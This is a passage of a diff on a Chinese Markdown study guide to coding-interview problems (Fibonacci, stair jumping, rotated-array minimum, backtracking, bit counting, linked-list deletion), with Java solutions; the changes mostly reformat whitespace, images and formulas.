+public void push(int node) {
+    in.push(node);
 }
 
-public int pop() throws Exception {
-    if (out.isEmpty())
-        while (!in.isEmpty())
-            out.push(in.pop());
+public int pop() throws Exception {
+    if (out.isEmpty())
+        while (!in.isEmpty())
+            out.push(in.pop());
 
-    if (out.isEmpty())
-        throw new Exception("queue is empty");
+    if (out.isEmpty())
+        throw new Exception("queue is empty");
 
-    return out.pop();
+    return out.pop();
 }
 ```
 
-# 10.1 斐波那契数列
+# 10.1 斐波那契数列
 
 [NowCoder](https://www.nowcoder.com/practice/c6c7742f5ba7442aada113136ddea0c3?tpId=13&tqId=11160&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-求斐波那契数列的第 n 项，n <= 39。
+求斐波那契数列的第 n 项，n <= 39。
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?f(n)=\left\{\begin{array}{rcl}0&&{n=0}\\1&&{n=1}\\f(n-1)+f(n-2)&&{n>1}\end{array}\right."/></div> <br>
+$$ f(n)=\left\{ \begin{array}{rcl} 0  &&  { n=0 }\\ 1  &&  { n=1 } \\ f(n-1)+f(n-2) && {n>1} \end{array} \right. $$
 
-## 解题思路
+## 解题思路
 
-如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
+如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
 
-<div align="center"> <img src="pics/faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/> </div><br>
+<img src="index_files/faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/>
 
 递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
 ```java
-public int Fibonacci(int n) {
-    if (n <= 1)
-        return n;
-    int[] fib = new int[n + 1];
-    fib[1] = 1;
-    for (int i = 2; i <= n; i++)
-        fib[i] = fib[i - 1] + fib[i - 2];
-    return fib[n];
+public int Fibonacci(int n) {
+    if (n <= 1)
+        return n;
+    int[] fib = new int[n + 1];
+    fib[1] = 1;
+    for (int i = 2; i <= n; i++)
+        fib[i] = fib[i - 1] + fib[i - 2];
+    return fib[n];
 }
 ```
 
-考虑到第 i 项只与第 i-1 和第 i-2 项有关，因此只需要存储前两项的值就能求解第 i 项，从而将空间复杂度由 O(N) 降低为 O(1)。
+考虑到第 i 项只与第 i-1 和第 i-2 项有关，因此只需要存储前两项的值就能求解第 i 项，从而将空间复杂度由 O(N) 降低为 O(1)。
 
 ```java
-public int Fibonacci(int n) {
-    if (n <= 1)
-        return n;
-    int pre2 = 0, pre1 = 1;
-    int fib = 0;
-    for (int i = 2; i <= n; i++) {
-        fib = pre2 + pre1;
-        pre2 = pre1;
-        pre1 = fib;
-    }
-    return fib;
+public int Fibonacci(int n) {
+    if (n <= 1)
+        return n;
+    int pre2 = 0, pre1 = 1;
+    int fib = 0;
+    for (int i = 2; i <= n; i++) {
+        fib = pre2 + pre1;
+        pre2 = pre1;
+        pre1 = fib;
+    }
+    return fib;
 }
 ```
 
-由于待求解的 n 小于 40，因此可以将前 40 项的结果先进行计算，之后就能以 O(1) 时间复杂度得到第 n 项的值了。
+由于待求解的 n 小于 40，因此可以将前 40 项的结果先进行计算，之后就能以 O(1) 时间复杂度得到第 n 项的值了。
 
 ```java
-public class Solution {
+public class Solution {
 
-    private int[] fib = new int[40];
+    private int[] fib = new int[40];
 
-    public Solution() {
-        fib[1] = 1;
-        fib[2] = 2;
-        for (int i = 2; i < fib.length; i++)
-            fib[i] = fib[i - 1] + fib[i - 2];
-    }
+    public Solution() {
+        fib[1] = 1;
+        fib[2] = 2;
+        for (int i = 2; i < fib.length; i++)
+            fib[i] = fib[i - 1] + fib[i - 2];
+    }
 
-    public int Fibonacci(int n) {
-        return fib[n];
-    }
+    public int Fibonacci(int n) {
+        return fib[n];
+    }
 }
 ```
 
-# 10.2 跳台阶
+# 10.2 跳台阶
 
 [NowCoder](https://www.nowcoder.com/practice/8c82a5b80378478f9484d87d1c5f12a4?tpId=13&tqId=11161&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
+一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int JumpFloor(int n) {
-    if (n <= 2)
-        return n;
-    int pre2 = 1, pre1 = 2;
-    int result = 1;
-    for (int i = 2; i < n; i++) {
-        result = pre2 + pre1;
-        pre2 = pre1;
-        pre1 = result;
-    }
-    return result;
+public int JumpFloor(int n) {
+    if (n <= 2)
+        return n;
+    int pre2 = 1, pre1 = 2;
+    int result = 1;
+    for (int i = 2; i < n; i++) {
+        result = pre2 + pre1;
+        pre2 = pre1;
+        pre1 = result;
+    }
+    return result;
 }
 ```
 
-# 10.3 矩形覆盖
+# 10.3 矩形覆盖
 
 [NowCoder](https://www.nowcoder.com/practice/72a5a919508a4251859fb2cfb987a0e6?tpId=13&tqId=11163&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-我们可以用 2\*1 的小矩形横着或者竖着去覆盖更大的矩形。请问用 n 个 2\*1 的小矩形无重叠地覆盖一个 2\*n 的大矩形，总共有多少种方法？
+我们可以用 2\*1 的小矩形横着或者竖着去覆盖更大的矩形。请问用 n 个 2\*1 的小矩形无重叠地覆盖一个 2\*n 的大矩形，总共有多少种方法？
 
-## 解题思路
+## 解题思路
 
 ```java
-public int RectCover(int n) {
-    if (n <= 2)
-        return n;
-    int pre2 = 1, pre1 = 2;
-    int result = 0;
-    for (int i = 3; i <= n; i++) {
-        result = pre2 + pre1;
-        pre2 = pre1;
-        pre1 = result;
-    }
-    return result;
+public int RectCover(int n) {
+    if (n <= 2)
+        return n;
+    int pre2 = 1, pre1 = 2;
+    int result = 0;
+    for (int i = 3; i <= n; i++) {
+        result = pre2 + pre1;
+        pre2 = pre1;
+        pre1 = result;
+    }
+    return result;
 }
 ```
 
-# 10.4 变态跳台阶
+# 10.4 变态跳台阶
 
 [NowCoder](https://www.nowcoder.com/practice/22243d016f6b47f2a6928b4313c85387?tpId=13&tqId=11162&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级... 它也可以跳上 n 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
+一只青蛙一次可以跳上 1 级台阶，也可以跳上 2 级... 它也可以跳上 n 级。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
 
-## 解题思路
+## 解题思路
 
-### 动态规划
+### 动态规划
 
 ```java
-public int JumpFloorII(int target) {
-    int[] dp = new int[target];
-    Arrays.fill(dp, 1);
-    for (int i = 1; i < target; i++)
-        for (int j = 0; j < i; j++)
-            dp[i] += dp[j];
-    return dp[target - 1];
+public int JumpFloorII(int target) {
+    int[] dp = new int[target];
+    Arrays.fill(dp, 1);
+    for (int i = 1; i < target; i++)
+        for (int j = 0; j < i; j++)
+            dp[i] += dp[j];
+    return dp[target - 1];
 }
 ```
 
-### 数学推导
+### 数学推导
 
-跳上 n-1 级台阶，可以从 n-2 级跳 1 级上去，也可以从 n-3 级跳 2 级上去...，那么
+跳上 n-1 级台阶，可以从 n-2 级跳 1 级上去，也可以从 n-3 级跳 2 级上去...，那么
 
 ```
-f(n-1) = f(n-2) + f(n-3) + ... + f(0)
+f(n-1) = f(n-2) + f(n-3) + ... + f(0)
 ```
 
-同样，跳上 n 级台阶，可以从 n-1 级跳 1 级上去，也可以从 n-2 级跳 2 级上去... ，那么
+同样，跳上 n 级台阶，可以从 n-1 级跳 1 级上去，也可以从 n-2 级跳 2 级上去... ，那么
 
 ```
-f(n) = f(n-1) + f(n-2) + ... + f(0)
+f(n) = f(n-1) + f(n-2) + ... + f(0)
 ```
 
 综上可得
 
 ```
-f(n) - f(n-1) = f(n-1)
+f(n) - f(n-1) = f(n-1)
 ```
 
 即
 
 ```
-f(n) = 2*f(n-1)
+f(n) = 2*f(n-1)
 ```
 
-所以 f(n) 是一个等比数列
+所以 f(n) 是一个等比数列
 
 ```source-java
-public int JumpFloorII(int target) {
-    return (int) Math.pow(2, target - 1);
+public int JumpFloorII(int target) {
+    return (int) Math.pow(2, target - 1);
 }
 ```
 
 
-# 11. 旋转数组的最小数字
+# 11. 旋转数组的最小数字
 
 [NowCoder](https://www.nowcoder.com/practice/9f3231a991af4f55b95579b44b7a01ba?tpId=13&tqId=11159&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 把一个数组最开始的若干个元素搬到数组的末尾，我们称之为数组的旋转。输入一个非递减排序的数组的一个旋转，输出旋转数组的最小元素。
 
-例如数组 {3, 4, 5, 1, 2} 为 {1, 2, 3, 4, 5} 的一个旋转，该数组的最小值为 1。
+例如数组 {3, 4, 5, 1, 2} 为 {1, 2, 3, 4, 5} 的一个旋转，该数组的最小值为 1。
 
-## 解题思路
+## 解题思路
 
-在一个有序数组中查找一个元素可以用二分查找，二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度都为 O(logN)。
+在一个有序数组中查找一个元素可以用二分查找，二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度都为 O(logN)。
 
 本题可以修改二分查找算法进行求解：
 
-- 当 nums[m] <= nums[h] 的情况下，说明解在 [l, m] 之间，此时令 h = m；
-- 否则解在 [m + 1, h] 之间，令 l = m + 1。
+- 当 nums[m] <= nums[h] 的情况下，说明解在 [l, m] 之间，此时令 h = m；
+- 否则解在 [m + 1, h] 之间，令 l = m + 1。
 
 ```java
-public int minNumberInRotateArray(int[] nums) {
-    if (nums.length == 0)
-        return 0;
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] <= nums[h])
-            h = m;
-        else
-            l = m + 1;
-    }
-    return nums[l];
+public int minNumberInRotateArray(int[] nums) {
+    if (nums.length == 0)
+        return 0;
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] <= nums[h])
+            h = m;
+        else
+            l = m + 1;
+    }
+    return nums[l];
 }
 ```
 
-如果数组元素允许重复的话，那么就会出现一个特殊的情况：nums[l] == nums[m] == nums[h]，那么此时无法确定解在哪个区间，需要切换到顺序查找。例如对于数组 {1,1,1,0,1}，l、m 和 h 指向的数都为 1，此时无法知道最小数字 0 在哪个区间。
+如果数组元素允许重复的话，那么就会出现一个特殊的情况：nums[l] == nums[m] == nums[h]，那么此时无法确定解在哪个区间，需要切换到顺序查找。例如对于数组 {1,1,1,0,1}，l、m 和 h 指向的数都为 1，此时无法知道最小数字 0 在哪个区间。
 
 ```java
-public int minNumberInRotateArray(int[] nums) {
-    if (nums.length == 0)
-        return 0;
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[l] == nums[m] && nums[m] == nums[h])
-            return minNumber(nums, l, h);
-        else if (nums[m] <= nums[h])
-            h = m;
-        else
-            l = m + 1;
-    }
-    return nums[l];
+public int minNumberInRotateArray(int[] nums) {
+    if (nums.length == 0)
+        return 0;
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[l] == nums[m] && nums[m] == nums[h])
+            return minNumber(nums, l, h);
+        else if (nums[m] <= nums[h])
+            h = m;
+        else
+            l = m + 1;
+    }
+    return nums[l];
 }
 
-private int minNumber(int[] nums, int l, int h) {
-    for (int i = l; i < h; i++)
-        if (nums[i] > nums[i + 1])
-            return nums[i + 1];
-    return nums[l];
+private int minNumber(int[] nums, int l, int h) {
+    for (int i = l; i < h; i++)
+        if (nums[i] > nums[i + 1])
+            return nums[i + 1];
+    return nums[l];
 }
 ```
 
-# 12. 矩阵中的路径
+# 12. 矩阵中的路径
 
 [NowCoder](https://www.nowcoder.com/practice/c61c6999eecb4b8f88a98f66b273a3cc?tpId=13&tqId=11218&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 请设计一个函数，用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始，每一步可以在矩阵中向左，向右，向上，向下移动一个格子。如果一条路径经过了矩阵中的某一个格子，则该路径不能再进入该格子。
 
-例如下面的矩阵包含了一条 bfce 路径。
+例如下面的矩阵包含了一条 bfce 路径。
 
-<div align="center"> <img src="pics/e31abb94-9201-4e06-9902-61101b92f475.png" width="300"/> </div><br>
+<img src="index_files/e31abb94-9201-4e06-9902-61101b92f475.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-private final static int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
-private int rows;
-private int cols;
+private final static int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
+private int rows;
+private int cols;
 
-public boolean hasPath(char[] array, int rows, int cols, char[] str) {
-    if (rows == 0 || cols == 0)
-        return false;
-    this.rows = rows;
-    this.cols = cols;
-    boolean[][] marked = new boolean[rows][cols];
-    char[][] matrix = buildMatrix(array);
-    for (int i = 0; i < rows; i++)
-        for (int j = 0; j < cols; j++)
-            if (backtracking(matrix, str, marked, 0, i, j))
-                return true;
-    return false;
+public boolean hasPath(char[] array, int rows, int cols, char[] str) {
+    if (rows == 0 || cols == 0)
+        return false;
+    this.rows = rows;
+    this.cols = cols;
+    boolean[][] marked = new boolean[rows][cols];
+    char[][] matrix = buildMatrix(array);
+    for (int i = 0; i < rows; i++)
+        for (int j = 0; j < cols; j++)
+            if (backtracking(matrix, str, marked, 0, i, j))
+                return true;
+    return false;
 }
 
-private boolean backtracking(char[][] matrix, char[] str, boolean[][] marked, int pathLen, int r, int c) {
-    if (pathLen == str.length)
-        return true;
-    if (r < 0 || r >= rows || c < 0 || c >= cols || matrix[r][c] != str[pathLen] || marked[r][c])
-        return false;
-    marked[r][c] = true;
-    for (int[] n : next)
-        if (backtracking(matrix, str, marked, pathLen + 1, r + n[0], c + n[1]))
-            return true;
-    marked[r][c] = false;
-    return false;
+private boolean backtracking(char[][] matrix, char[] str, boolean[][] marked, int pathLen, int r, int c) {
+    if (pathLen == str.length)
+        return true;
+    if (r < 0 || r >= rows || c < 0 || c >= cols || matrix[r][c] != str[pathLen] || marked[r][c])
+        return false;
+    marked[r][c] = true;
+    for (int[] n : next)
+        if (backtracking(matrix, str, marked, pathLen + 1, r + n[0], c + n[1]))
+            return true;
+    marked[r][c] = false;
+    return false;
 }
 
-private char[][] buildMatrix(char[] array) {
-    char[][] matrix = new char[rows][cols];
-    for (int i = 0, idx = 0; i < rows; i++)
-        for (int j = 0; j < cols; j++)
-            matrix[i][j] = array[idx++];
-    return matrix;
+private char[][] buildMatrix(char[] array) {
+    char[][] matrix = new char[rows][cols];
+    for (int i = 0, idx = 0; i < rows; i++)
+        for (int j = 0; j < cols; j++)
+            matrix[i][j] = array[idx++];
+    return matrix;
 }
 ```
 
-# 13. 机器人的运动范围
+# 13. 机器人的运动范围
 
 [NowCoder](https://www.nowcoder.com/practice/6e5207314b5241fb83f2329e89fdecc8?tpId=13&tqId=11219&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-地上有一个 m 行和 n 列的方格。一个机器人从坐标 (0, 0) 的格子开始移动，每一次只能向左右上下四个方向移动一格，但是不能进入行坐标和列坐标的数位之和大于 k 的格子。
+地上有一个 m 行和 n 列的方格。一个机器人从坐标 (0, 0) 的格子开始移动，每一次只能向左右上下四个方向移动一格，但是不能进入行坐标和列坐标的数位之和大于 k 的格子。
 
-例如，当 k 为 18 时，机器人能够进入方格 (35,37)，因为 3+5+3+7=18。但是，它不能进入方格 (35,38)，因为 3+5+3+8=19。请问该机器人能够达到多少个格子？
+例如，当 k 为 18 时，机器人能够进入方格 (35,37)，因为 3+5+3+7=18。但是，它不能进入方格 (35,38)，因为 3+5+3+8=19。请问该机器人能够达到多少个格子？
 
-## 解题思路
+## 解题思路
 
 ```java
-private static final int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
-private int cnt = 0;
-private int rows;
-private int cols;
-private int threshold;
-private int[][] digitSum;
+private static final int[][] next = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
+private int cnt = 0;
+private int rows;
+private int cols;
+private int threshold;
+private int[][] digitSum;
 
-public int movingCount(int threshold, int rows, int cols) {
-    this.rows = rows;
-    this.cols = cols;
-    this.threshold = threshold;
-    initDigitSum();
-    boolean[][] marked = new boolean[rows][cols];
-    dfs(marked, 0, 0);
-    return cnt;
+public int movingCount(int threshold, int rows, int cols) {
+    this.rows = rows;
+    this.cols = cols;
+    this.threshold = threshold;
+    initDigitSum();
+    boolean[][] marked = new boolean[rows][cols];
+    dfs(marked, 0, 0);
+    return cnt;
 }
 
-private void dfs(boolean[][] marked, int r, int c) {
-    if (r < 0 || r >= rows || c < 0 || c >= cols || marked[r][c])
-        return;
-    marked[r][c] = true;
-    if (this.digitSum[r][c] > this.threshold)
-        return;
-    cnt++;
-    for (int[] n : next)
-        dfs(marked, r + n[0], c + n[1]);
+private void dfs(boolean[][] marked, int r, int c) {
+    if (r < 0 || r >= rows || c < 0 || c >= cols || marked[r][c])
+        return;
+    marked[r][c] = true;
+    if (this.digitSum[r][c] > this.threshold)
+        return;
+    cnt++;
+    for (int[] n : next)
+        dfs(marked, r + n[0], c + n[1]);
 }
 
-private void initDigitSum() {
-    int[] digitSumOne = new int[Math.max(rows, cols)];
-    for (int i = 0; i < digitSumOne.length; i++) {
-        int n = i;
-        while (n > 0) {
-            digitSumOne[i] += n % 10;
-            n /= 10;
-        }
-    }
-    this.digitSum = new int[rows][cols];
-    for (int i = 0; i < this.rows; i++)
-        for (int j = 0; j < this.cols; j++)
-            this.digitSum[i][j] = digitSumOne[i] + digitSumOne[j];
+private void initDigitSum() {
+    int[] digitSumOne = new int[Math.max(rows, cols)];
+    for (int i = 0; i < digitSumOne.length; i++) {
+        int n = i;
+        while (n > 0) {
+            digitSumOne[i] += n % 10;
+            n /= 10;
+        }
+    }
+    this.digitSum = new int[rows][cols];
+    for (int i = 0; i < this.rows; i++)
+        for (int j = 0; j < this.cols; j++)
+            this.digitSum[i][j] = digitSumOne[i] + digitSumOne[j];
 }
 ```
 
-# 14. 剪绳子
+# 14. 剪绳子
 
 [Leetcode](https://leetcode.com/problems/integer-break/description/)
 
-## 题目描述
+## 题目描述
 
 把一根绳子剪成多段，并且使得每段的长度乘积最大。
 
 ```html
-n = 2
-return 1 (2 = 1 + 1)
+n = 2
+return 1 (2 = 1 + 1)
 
-n = 10
-return 36 (10 = 3 + 3 + 4)
+n = 10
+return 36 (10 = 3 + 3 + 4)
 ```
 
-## 解题思路
+## 解题思路
 
-### 贪心
+### 贪心
 
-尽可能多剪长度为 3 的绳子，并且不允许有长度为 1 的绳子出现。如果出现了，就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合，把它们切成两段长度为 2 的绳子。
+尽可能多剪长度为 3 的绳子，并且不允许有长度为 1 的绳子出现。如果出现了，就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合，把它们切成两段长度为 2 的绳子。
 
-证明：当 n >= 5 时，3(n - 3) - n = 2n - 9 > 0，且 2(n - 2) - n = n - 4 > 0。因此在 n >= 5 的情况下，将绳子剪成一段为 2 或者 3，得到的乘积会更大。又因为 3(n - 3) - 2(n - 2) = n - 5 >= 0，所以剪成一段长度为 3 比长度为 2 得到的乘积更大。
+证明：当 n >= 5 时，3(n - 3) - n = 2n - 9 > 0，且 2(n - 2) - n = n - 4 > 0。因此在 n >= 5 的情况下，将绳子剪成一段为 2 或者 3，得到的乘积会更大。又因为 3(n - 3) - 2(n - 2) = n - 5 >= 0，所以剪成一段长度为 3 比长度为 2 得到的乘积更大。
 
 ```java
-public int integerBreak(int n) {
-    if (n < 2)
-        return 0;
-    if (n == 2)
-        return 1;
-    if (n == 3)
-        return 2;
-    int timesOf3 = n / 3;
-    if (n - timesOf3 * 3 == 1)
-        timesOf3--;
-    int timesOf2 = (n - timesOf3 * 3) / 2;
-    return (int) (Math.pow(3, timesOf3)) * (int) (Math.pow(2, timesOf2));
+public int integerBreak(int n) {
+    if (n < 2)
+        return 0;
+    if (n == 2)
+        return 1;
+    if (n == 3)
+        return 2;
+    int timesOf3 = n / 3;
+    if (n - timesOf3 * 3 == 1)
+        timesOf3--;
+    int timesOf2 = (n - timesOf3 * 3) / 2;
+    return (int) (Math.pow(3, timesOf3)) * (int) (Math.pow(2, timesOf2));
 }
 ```
 
-### 动态规划
+### 动态规划
 
 ```java
-public int integerBreak(int n) {
-    int[] dp = new int[n + 1];
-    dp[1] = 1;
-    for (int i = 2; i <= n; i++)
-        for (int j = 1; j < i; j++)
-            dp[i] = Math.max(dp[i], Math.max(j * (i - j), dp[j] * (i - j)));
-    return dp[n];
+public int integerBreak(int n) {
+    int[] dp = new int[n + 1];
+    dp[1] = 1;
+    for (int i = 2; i <= n; i++)
+        for (int j = 1; j < i; j++)
+            dp[i] = Math.max(dp[i], Math.max(j * (i - j), dp[j] * (i - j)));
+    return dp[n];
 }
 ```
 
-# 15. 二进制中 1 的个数
+# 15. 二进制中 1 的个数
 
 [NowCoder](https://www.nowcoder.com/practice/8ee967e43c2c4ec193b040ea7fbb10b8?tpId=13&tqId=11164&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个整数，输出该数二进制表示中 1 的个数。
+输入一个整数，输出该数二进制表示中 1 的个数。
 
-### n&(n-1)
+### n&(n-1)
 
-该位运算去除 n 的位级表示中最低的那一位。
+该位运算去除 n 的位级表示中最低的那一位。
 
 ```
-n       : 10110100
-n-1     : 10110011
-n&(n-1) : 10110000
+n       : 10110100
+n-1     : 10110011
+n&(n-1) : 10110000
 ```
 
-时间复杂度：O(M)，其中 M 表示 1 的个数。
+时间复杂度：O(M)，其中 M 表示 1 的个数。
 
 
 ```java
-public int NumberOf1(int n) {
-    int cnt = 0;
-    while (n != 0) {
-        cnt++;
-        n &= (n - 1);
-    }
-    return cnt;
+public int NumberOf1(int n) {
+    int cnt = 0;
+    while (n != 0) {
+        cnt++;
+        n &= (n - 1);
+    }
+    return cnt;
 }
 ```
 
 
-### Integer.bitCount()
+### Integer.bitCount()
 
 ```java
-public int NumberOf1(int n) {
-    return Integer.bitCount(n);
+public int NumberOf1(int n) {
+    return Integer.bitCount(n);
 }
 ```
 
-# 16. 数值的整数次方
+# 16. 数值的整数次方
 
 [NowCoder](https://www.nowcoder.com/practice/1a834e5e3e1a4b7ba251417554e07c00?tpId=13&tqId=11165&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-给定一个 double 类型的浮点数 base 和 int 类型的整数 exponent，求 base 的 exponent 次方。
+给定一个 double 类型的浮点数 base 和 int 类型的整数 exponent，求 base 的 exponent 次方。
 
-## 解题思路
+## 解题思路
 
-下面的讨论中 x 代表 base，n 代表 exponent。
+下面的讨论中 x 代表 base，n 代表 exponent。
 
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?x^n=\left\{\begin{array}{rcl}(x*x)^{n/2}&&{n\%2=0}\\x*(x*x)^{n/2}&&{n\%2=1}\end{array}\right."/></div> <br>
+$$ x^n=\left\{ \begin{array}{rcl} (x*x)^{n/2}  &&  { n\%2=0}\\ x*(x*x)^{n/2}  &&  { n\%2=1 } \end{array} \right. $$
 
-因为 (x\*x)<sup>n/2</sup> 可以通过递归求解，并且每次递归 n 都减小一半，因此整个算法的时间复杂度为 O(logN)。
+因为 (x\*x)<sup>n/2</sup> 可以通过递归求解，并且每次递归 n 都减小一半，因此整个算法的时间复杂度为 O(logN)。
 
 ```java
-public double Power(double base, int exponent) {
-    if (exponent == 0)
-        return 1;
-    if (exponent == 1)
-        return base;
-    boolean isNegative = false;
-    if (exponent < 0) {
-        exponent = -exponent;
-        isNegative = true;
-    }
-    double pow = Power(base * base, exponent / 2);
-    if (exponent % 2 != 0)
-        pow = pow * base;
-    return isNegative ? 1 / pow : pow;
+public double Power(double base, int exponent) {
+    if (exponent == 0)
+        return 1;
+    if (exponent == 1)
+        return base;
+    boolean isNegative = false;
+    if (exponent < 0) {
+        exponent = -exponent;
+        isNegative = true;
+    }
+    double pow = Power(base * base, exponent / 2);
+    if (exponent % 2 != 0)
+        pow = pow * base;
+    return isNegative ? 1 / pow : pow;
 }
 ```
 
-# 17. 打印从 1 到最大的 n 位数
+# 17. 打印从 1 到最大的 n 位数
 
-## 题目描述
+## 题目描述
 
-输入数字 n，按顺序打印出从 1 到最大的 n 位十进制数。比如输入 3，则打印出 1、2、3 一直到最大的 3 位数即 999。
+输入数字 n，按顺序打印出从 1 到最大的 n 位十进制数。比如输入 3，则打印出 1、2、3 一直到最大的 3 位数即 999。
 
-## 解题思路
+## 解题思路
 
-由于 n 可能会非常大，因此不能直接用 int 表示数字，而是用 char 数组进行存储。
+由于 n 可能会非常大，因此不能直接用 int 表示数字，而是用 char 数组进行存储。
 
 使用回溯法得到所有的数。
 
 ```java
-public void print1ToMaxOfNDigits(int n) {
-    if (n <= 0)
-        return;
-    char[] number = new char[n];
-    print1ToMaxOfNDigits(number, 0);
+public void print1ToMaxOfNDigits(int n) {
+    if (n <= 0)
+        return;
+    char[] number = new char[n];
+    print1ToMaxOfNDigits(number, 0);
 }
 
-private void print1ToMaxOfNDigits(char[] number, int digit) {
-    if (digit == number.length) {
-        printNumber(number);
-        return;
-    }
-    for (int i = 0; i < 10; i++) {
-        number[digit] = (char) (i + '0');
-        print1ToMaxOfNDigits(number, digit + 1);
-    }
+private void print1ToMaxOfNDigits(char[] number, int digit) {
+    if (digit == number.length) {
+        printNumber(number);
+        return;
+    }
+    for (int i = 0; i < 10; i++) {
+        number[digit] = (char) (i + '0');
+        print1ToMaxOfNDigits(number, digit + 1);
+    }
 }
 
-private void printNumber(char[] number) {
-    int index = 0;
-    while (index < number.length && number[index] == '0')
-        index++;
-    while (index < number.length)
-        System.out.print(number[index++]);
-    System.out.println();
+private void printNumber(char[] number) {
+    int index = 0;
+    while (index < number.length && number[index] == '0')
+        index++;
+    while (index < number.length)
+        System.out.print(number[index++]);
+    System.out.println();
 }
 ```
 
-# 18.1 在 O(1) 时间内删除链表节点
+# 18.1 在 O(1) 时间内删除链表节点
 
-## 解题思路
+## 解题思路
 
-① 如果该节点不是尾节点，那么可以直接将下一个节点的值赋给该节点，然后令该节点指向下下个节点，再删除下一个节点，时间复杂度为 O(1)。
+① 如果该节点不是尾节点，那么可以直接将下一个节点的值赋给该节点，然后令该节点指向下下个节点，再删除下一个节点，时间复杂度为 O(1)。
 
-<div align="center"> <img src="pics/27ff9548-edb6-4465-92c8-7e6386e0b185.png" width="600"/> </div><br>
+<img src="index_files/27ff9548-edb6-4465-92c8-7e6386e0b185.png" width="600"/>
 
-② 否则，就需要先遍历链表，找到节点的前一个节点，然后让前一个节点指向 null，时间复杂度为 O(N)。
+② 否则，就需要先遍历链表，找到节点的前一个节点，然后让前一个节点指向 null，时间复杂度为 O(N)。
 
-<div align="center"> <img src="pics/280f7728-594f-4811-a03a-fa8d32c013da.png" width="600"/> </div><br>
+<img src="index_files/280f7728-594f-4811-a03a-fa8d32c013da.png" width="600"/>
 
-综上，如果进行 N 次操作，那么大约需要操作节点的次数为 N-1+N=2N-1，其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数，N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2，因此该算法的平均时间复杂度为 O(1)。
+综上，如果进行 N 次操作，那么大约需要操作节点的次数为 N-1+N=2N-1，其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数，N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N ~ 2，因此该算法的平均时间复杂度为 O(1)。
 
 ```java
-public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
-    if (head == null || tobeDelete == null)
-        return null;
-    if (tobeDelete.next != null) {
-        // 要删除的节点不是尾节点
-        ListNode next = tobeDelete.next;
-        tobeDelete.val = next.val;
-        tobeDelete.next = next.next;
-    } else {
-        ListNode cur = head;
-        while (cur.next != tobeDelete)
-            cur = cur.next;
-        cur.next = null;
-    }
-    return head;
+public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
+    if (head == null || tobeDelete == null)
+        return null;
+    if (tobeDelete.next != null) {
+        // 要删除的节点不是尾节点
+        ListNode next = tobeDelete.next;
+        tobeDelete.val = next.val;
+        tobeDelete.next = next.next;
+    } else {
+        ListNode cur = head;
+        while (cur.next != tobeDelete)
+            cur = cur.next;
+        cur.next = null;
+    }
+    return head;
 }
 ```
 
-# 18.2 删除链表中重复的结点
+# 18.2 删除链表中重复的结点
 
